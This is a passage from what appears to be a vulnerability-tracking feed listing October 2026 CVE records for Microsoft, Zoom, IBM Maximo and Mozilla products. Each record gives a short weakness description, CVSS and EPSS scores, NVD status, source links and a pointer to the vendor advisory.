Concurrent execution using shared resource with improper synchronization ('race condition') in Active Directory Certificate Services (AD CS) allows an authorized attacker to elevate privileges locally.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in Windows Win32K - ICOMP allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-83566
Use after free in Windows Win32K - ICOMP allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Use after free in Windows Win32K - ICOMP allows an authorized attacker to elevate privileges locally.
CVSS 7.0 (version 3.1; evidence as of Oct 14, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-83566).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-83566&date=2026-10-25).
Sources:
NVD CVE-2026-83566: https://nvd.nist.gov/vuln/detail/CVE-2026-83566
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-83566&date=2026-10-25
Use after free in Windows Win32K - ICOMP allows an authorized attacker to elevate privileges locally.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Weak authentication in Active Directory Federation Services (AD FS) allows an unauthorized attacker to perform spoofing over a network.
https://kevwire.com/record/CVE-2026-83511
Weak authentication in Active Directory Federation Services (AD FS) allows an unauthorized attacker to perform spoofing over a network. (Oct 13, 2026).
Weak authentication in Active Directory Federation Services (AD FS) allows an unauthorized attacker to perform spoofing over a network.
CVSS 7.4 (version 3.1; evidence as of Oct 14, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-83511).
EPSS 0.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-83511&date=2026-10-25).
Sources:
NVD CVE-2026-83511: https://nvd.nist.gov/vuln/detail/CVE-2026-83511
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-83511&date=2026-10-25
Weak authentication in Active Directory Federation Services (AD FS) allows an unauthorized attacker to perform spoofing over a network.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Incorrect authorization in Microsoft Exchange Server allows an authorized attacker to elevate privileges over a network.
https://kevwire.com/record/CVE-2026-77910
Incorrect authorization in Microsoft Exchange Server allows an authorized attacker to elevate privileges over a network. (Oct 13, 2026).
Incorrect authorization in Microsoft Exchange Server allows an authorized attacker to elevate privileges over a network.
CVSS 8.8 (version 3.1; evidence as of Oct 14, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-77910).
EPSS 0.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-77910&date=2026-10-25).
Sources:
NVD CVE-2026-77910: https://nvd.nist.gov/vuln/detail/CVE-2026-77910
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-77910&date=2026-10-25
Incorrect authorization in Microsoft Exchange Server allows an authorized attacker to elevate privileges over a network.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Stack-based buffer overflow in Microsoft Exchange Server allows an unauthorized attacker to execute code over a network.
https://kevwire.com/record/CVE-2026-70571
Stack-based buffer overflow in Microsoft Exchange Server allows an unauthorized attacker to execute code over a network. (Oct 13, 2026).
Stack-based buffer overflow in Microsoft Exchange Server allows an unauthorized attacker to execute code over a network.
CVSS 8.1 (version 3.1; evidence as of Oct 14, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-70571).
EPSS 1.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-70571&date=2026-10-25).
Sources:
NVD CVE-2026-70571: https://nvd.nist.gov/vuln/detail/CVE-2026-70571
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-70571&date=2026-10-25
Stack-based buffer overflow in Microsoft Exchange Server allows an unauthorized attacker to execute code over a network.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Inconsistent interpretation of http requests ('http request/response smuggling') in ASP.NET Core allows an unauthorized attacker to bypass a security feature over a network.
https://kevwire.com/record/CVE-2026-70188
Inconsistent interpretation of http requests ('http request/response smuggling') in ASP.NET Core allows an unauthorized attacker to bypass a security feature over a network. (Oct 13, 2026).
Inconsistent interpretation of http requests ('http request/response smuggling') in ASP.NET Core allows an unauthorized attacker to bypass a security feature over a network.
CVSS 9.1 (version 3.1; evidence as of Oct 14, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-70188).
EPSS 0.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-70188&date=2026-10-25).
Sources:
NVD CVE-2026-70188: https://nvd.nist.gov/vuln/detail/CVE-2026-70188
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-70188&date=2026-10-25
Inconsistent interpretation of http requests ('http request/response smuggling') in ASP.NET Core allows an unauthorized attacker to bypass a security feature over a network.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Concurrent execution using shared resource with improper synchronization ('race condition') in ASP.NET Core allows an authorized attacker to elevate privileges over a network.
https://kevwire.com/record/CVE-2026-70183
Concurrent execution using shared resource with improper synchronization ('race condition') in ASP.NET Core allows an authorized attacker to elevate privileges over a network. (Oct 13, 2026).
Concurrent execution using shared resource with improper synchronization ('race condition') in ASP.NET Core allows an authorized attacker to elevate privileges over a network.
CVSS 7.5 (version 3.1; evidence as of Oct 14, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-70183).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-70183&date=2026-10-25).
Sources:
NVD CVE-2026-70183: https://nvd.nist.gov/vuln/detail/CVE-2026-70183
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-70183&date=2026-10-25
Concurrent execution using shared resource with improper synchronization ('race condition') in ASP.NET Core allows an authorized attacker to elevate privileges over a network.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Improper authentication in ASP.NET Core allows an unauthorized attacker to elevate privileges over a network.
https://kevwire.com/record/CVE-2026-70175
Improper authentication in ASP.NET Core allows an unauthorized attacker to elevate privileges over a network. (Oct 13, 2026).
Improper authentication in ASP.NET Core allows an unauthorized attacker to elevate privileges over a network.
CVSS 8.1 (version 3.1; evidence as of Oct 14, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-70175).
EPSS 0.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-70175&date=2026-10-25).
Sources:
NVD CVE-2026-70175: https://nvd.nist.gov/vuln/detail/CVE-2026-70175
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-70175&date=2026-10-25
Improper authentication in ASP.NET Core allows an unauthorized attacker to elevate privileges over a network.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Untrusted search path in Windows Update Service allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-70142
Untrusted search path in Windows Update Service allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Untrusted search path in Windows Update Service allows an authorized attacker to elevate privileges locally.
CVSS 7.8 (version 3.1; evidence as of Oct 14, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-70142).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-70142&date=2026-10-25).
Sources:
NVD CVE-2026-70142: https://nvd.nist.gov/vuln/detail/CVE-2026-70142
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-70142&date=2026-10-25
Untrusted search path in Windows Update Service allows an authorized attacker to elevate privileges locally.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in Windows Win32 Kernel Subsystem allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-70076
Use after free in Windows Win32 Kernel Subsystem allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Use after free in Windows Win32 Kernel Subsystem allows an authorized attacker to elevate privileges locally.
CVSS 7.0 (version 3.1; evidence as of Oct 14, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-70076).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-70076&date=2026-10-25).
Sources:
NVD CVE-2026-70076: https://nvd.nist.gov/vuln/detail/CVE-2026-70076
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-70076&date=2026-10-25
Use after free in Windows Win32 Kernel Subsystem allows an authorized attacker to elevate privileges locally.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in Windows Win32 Kernel Subsystem allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-70067
Use after free in Windows Win32 Kernel Subsystem allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Use after free in Windows Win32 Kernel Subsystem allows an authorized attacker to elevate privileges locally.
CVSS 7.0 (version 3.1; evidence as of Oct 14, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-70067).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-70067&date=2026-10-25).
Sources:
NVD CVE-2026-70067: https://nvd.nist.gov/vuln/detail/CVE-2026-70067
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-70067&date=2026-10-25
Use after free in Windows Win32 Kernel Subsystem allows an authorized attacker to elevate privileges locally.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Buffer overflow in a Zoom Phone feature of Zoom Workplace Clients may allow an unauthenticated user to conduct a escalation of privilege via network access.
https://kevwire.com/record/CVE-2026-53420
Buffer overflow in a Zoom Phone feature of Zoom Workplace Clients may allow an unauthenticated user to conduct a escalation of privilege via network access. (Oct 13, 2026).
Buffer overflow in a Zoom Phone feature of Zoom Workplace Clients may allow an unauthenticated user to conduct a escalation of privilege via network access.
CVSS 8.0 (version 3.1; evidence as of Oct 14, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-53420).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-53420&date=2026-10-25).
Sources:
NVD CVE-2026-53420: https://nvd.nist.gov/vuln/detail/CVE-2026-53420
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-53420&date=2026-10-25
Buffer overflow in a Zoom Phone feature of Zoom Workplace Clients may allow an unauthenticated user to conduct a escalation of privilege via network access.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Improper Authorization in Handler for Custom URL Scheme in Zoom Workplace for Android before version 7.2.1 may allow an unauthenticated user to conduct an escalation of privilege...
https://kevwire.com/record/CVE-2026-53418
Improper Authorization in Handler for Custom URL Scheme in Zoom Workplace for Android before version 7.2.1 may allow an unauthenticated user to conduct an escalation of privilege... (Oct 13, 2026).
Improper Authorization in Handler for Custom URL Scheme in Zoom Workplace for Android before version 7.2.1 may allow an unauthenticated user to conduct an escalation of privilege via network access.
CVSS 8.1 (version 3.1; evidence as of Oct 14, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-53418).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-53418&date=2026-10-25).
Sources:
NVD CVE-2026-53418: https://nvd.nist.gov/vuln/detail/CVE-2026-53418
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-53418&date=2026-10-25
Improper Authorization in Handler for Custom URL Scheme in Zoom Workplace for Android before version 7.2.1 may allow an unauthenticated user to conduct an escalation of privilege via network access.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### IBM Maximo Application Suite - Location Service for Esri Component 9.2, 9.1, and 9.0 is vulnerable to improper input validation due to an unsanitised container image reference in...
https://kevwire.com/record/CVE-2026-18537
IBM Maximo Application Suite - Location Service for Esri Component 9.2, 9.1, and 9.0 is vulnerable to improper input validation due to an unsanitised container image reference in... (Oct 12, 2026).
IBM Maximo Application Suite - Location Service for Esri Component 9.2, 9.1, and 9.0 is vulnerable to improper input validation due to an unsanitised container image reference in a Kubernetes operator template.
CVSS 8.7 (version 3.1; evidence as of Oct 14, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-18537).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-18537&date=2026-10-25).
Sources:
NVD CVE-2026-18537: https://nvd.nist.gov/vuln/detail/CVE-2026-18537
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-18537&date=2026-10-25
IBM Maximo Application Suite - Location Service for Esri Component 9.2, 9.1, and 9.0 is vulnerable to improper input validation due to an unsanitised container image reference in a Kubernetes operator template.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### IBM Maximo Application Suite - Location Service for Esri Component 9.2, 9.1, and 9.0 is vulnerable to command injection due to improper sanitisation of a user-controlled value...
https://kevwire.com/record/CVE-2026-18529
IBM Maximo Application Suite - Location Service for Esri Component 9.2, 9.1, and 9.0 is vulnerable to command injection due to improper sanitisation of a user-controlled value... (Oct 12, 2026).
IBM Maximo Application Suite - Location Service for Esri Component 9.2, 9.1, and 9.0 is vulnerable to command injection due to improper sanitisation of a user-controlled value passed to a shell command in a Kubernetes operator task.
CVSS 8.7 (version 3.1; evidence as of Oct 14, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-18529).
EPSS 0.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-18529&date=2026-10-25).
Sources:
NVD CVE-2026-18529: https://nvd.nist.gov/vuln/detail/CVE-2026-18529
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-18529&date=2026-10-25
IBM Maximo Application Suite - Location Service for Esri Component 9.2, 9.1, and 9.0 is vulnerable to command injection due to improper sanitisation of a user-controlled value passed to a shell command in a Kubernetes operator task.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### IBM Maximo Application Suite - Location Service for Esri Component 9.2, 9.1, and 9.0 is vulnerable to improper access control due to a schema-less Custom Resource Definition.
https://kevwire.com/record/CVE-2026-18513
IBM Maximo Application Suite - Location Service for Esri Component 9.2, 9.1, and 9.0 is vulnerable to improper access control due to a schema-less Custom Resource Definition. (Oct 12, 2026).
IBM Maximo Application Suite - Location Service for Esri Component 9.2, 9.1, and 9.0 is vulnerable to improper access control due to a schema-less Custom Resource Definition.
CVSS 7.2 (version 3.1; evidence as of Oct 14, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-18513).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-18513&date=2026-10-25).
Sources:
NVD CVE-2026-18513: https://nvd.nist.gov/vuln/detail/CVE-2026-18513
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-18513&date=2026-10-25
IBM Maximo Application Suite - Location Service for Esri Component 9.2, 9.1, and 9.0 is vulnerable to improper access control due to a schema-less Custom Resource Definition.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Privilege escalation in the WebExtensions component.
https://kevwire.com/record/CVE-2026-109778
Privilege escalation in the WebExtensions component. (Oct 13, 2026).
Privilege escalation in the WebExtensions component. This vulnerability was fixed in Firefox 158, Firefox ESR 153.5, Thunderbird 158, and Thunderbird 153.5.
CVSS 8.8 (version 3.1; evidence as of Oct 14, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-109778).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-109778&date=2026-10-25).
Sources:
NVD CVE-2026-109778: https://nvd.nist.gov/vuln/detail/CVE-2026-109778
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-109778&date=2026-10-25
Privilege escalation in the WebExtensions component. This vulnerability was fixed in Firefox 158, Firefox ESR 153.5, Thunderbird 158, and Thunderbird 153.5.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Privilege escalation in the DOM: Navigation component.
https://kevwire.com/record/CVE-2026-109756
Privilege escalation in the DOM: Navigation component. (Oct 13, 2026).
Privilege escalation in the DOM: Navigation component. This vulnerability was fixed in Firefox 158, Firefox ESR 153.5, Thunderbird 158, and Thunderbird 153.5.
CVSS 8.8 (version 3.1; evidence as of Oct 14, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-109756).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-109756&date=2026-10-25).
Sources:
NVD CVE-2026-109756: https://nvd.nist.gov/vuln/detail/CVE-2026-109756
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-109756&date=2026-10-25
Privilege escalation in the DOM: Navigation component. This vulnerability was fixed in Firefox 158, Firefox ESR 153.5, Thunderbird 158, and Thunderbird 153.5.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Information disclosure, privilege escalation in the Security: Process Sandboxing component.
https://kevwire.com/record/CVE-2026-109709
Information disclosure, privilege escalation in the Security: Process Sandboxing component. (Oct 13, 2026).
Information disclosure, privilege escalation in the Security: Process Sandboxing component. This vulnerability was fixed in Firefox 158, Firefox ESR 153.5, Thunderbird 158, and Thunderbird 153.5.
CVSS 8.8 (version 3.1; evidence as of Oct 14, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-109709).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-109709&date=2026-10-25).
Sources:
NVD CVE-2026-109709: https://nvd.nist.gov/vuln/detail/CVE-2026-109709
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-109709&date=2026-10-25
Information disclosure, privilege escalation in the Security: Process Sandboxing component. This vulnerability was fixed in Firefox 158, Firefox ESR 153.5, Thunderbird 158, and Thunderbird 153.5.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Firefox for iOS directly interpolated the page’s HTML language attribute into translation JavaScript, allowing attacker-controlled markup to execute code in Firefox’s privileged...
https://kevwire.com/record/CVE-2026-103418
Firefox for iOS directly interpolated the page’s HTML language attribute into translation JavaScript, allowing attacker-controlled markup to execute code in Firefox’s privileged... (Oct 13, 2026).
Firefox for iOS directly interpolated the page’s HTML language attribute into translation JavaScript, allowing attacker-controlled markup to execute code in Firefox’s privileged content world and bypass the page’s Content Security Policy. This vulnerability was fixed in Firefox for iOS 157.1.
CVSS 8.8 (version 3.1; evidence as of Oct 14, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-103418).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-103418&date=2026-10-25).
Sources:
NVD CVE-2026-103418: https://nvd.nist.gov/vuln/detail/CVE-2026-103418
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-103418&date=2026-10-25
Firefox for iOS directly interpolated the page’s HTML language attribute into translation JavaScript, allowing attacker-controlled markup to execute code in Firefox’s privileged content world and bypass the page’s Content Security Policy. This vulnerability was fixed in Firefox for iOS 157.1.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Access of resource using incompatible type ('type confusion') in .NET and Visual Studio allows an unauthorized attacker to elevate privileges over a network.
https://kevwire.com/record/CVE-2026-102869
Access of resource using incompatible type ('type confusion') in .NET and Visual Studio allows an unauthorized attacker to elevate privileges over a network. (Oct 13, 2026).
Access of resource using incompatible type ('type confusion') in .NET and Visual Studio allows an unauthorized attacker to elevate privileges over a network.
CVSS 8.8 (version 3.1; evidence as of Oct 14, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-102869).
EPSS 0.8% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-102869&date=2026-10-25).
Sources:
NVD CVE-2026-102869: https://nvd.nist.gov/vuln/detail/CVE-2026-102869
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-102869&date=2026-10-25
Access of resource using incompatible type ('type confusion') in .NET and Visual Studio allows an unauthorized attacker to elevate privileges over a network.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Improper limitation of a pathname to a restricted directory ('path traversal') in Dynamics Business Central allows an authorized attacker to elevate privileges over a network.
https://kevwire.com/record/CVE-2026-102226
Improper limitation of a pathname to a restricted directory ('path traversal') in Dynamics Business Central allows an authorized attacker to elevate privileges over a network. (Oct 13, 2026).
Improper limitation of a pathname to a restricted directory ('path traversal') in Dynamics Business Central allows an authorized attacker to elevate privileges over a network.
CVSS 8.8 (version 3.1; evidence as of Oct 14, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-102226).
EPSS 1.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-102226&date=2026-10-25).
Sources:
NVD CVE-2026-102226: https://nvd.nist.gov/vuln/detail/CVE-2026-102226
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-102226&date=2026-10-25
Improper limitation of a pathname to a restricted directory ('path traversal') in Dynamics Business Central allows an authorized attacker to elevate privileges over a network.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Deserialization of untrusted data in Dynamics Business Central allows an authorized attacker to execute code over a network.
https://kevwire.com/record/CVE-2026-100214
Deserialization of untrusted data in Dynamics Business Central allows an authorized attacker to execute code over a network. (Oct 13, 2026).
Deserialization of untrusted data in Dynamics Business Central allows an authorized attacker to execute code over a network.
CVSS 8.8 (version 3.1; evidence as of Oct 14, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-100214).
EPSS 2.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-100214&date=2026-10-25).
Sources:
NVD CVE-2026-100214: https://nvd.nist.gov/vuln/detail/CVE-2026-100214
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-100214&date=2026-10-25
Deserialization of untrusted data in Dynamics Business Central allows an authorized attacker to execute code over a network.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Improper validation of specified type of input in .NET Framework allows an unauthorized attacker to perform tampering over a network.
https://kevwire.com/record/CVE-2026-97801
Improper validation of specified type of input in .NET Framework allows an unauthorized attacker to perform tampering over a network. (Oct 13, 2026).
Improper validation of specified type of input in .NET Framework allows an unauthorized attacker to perform tampering over a network.
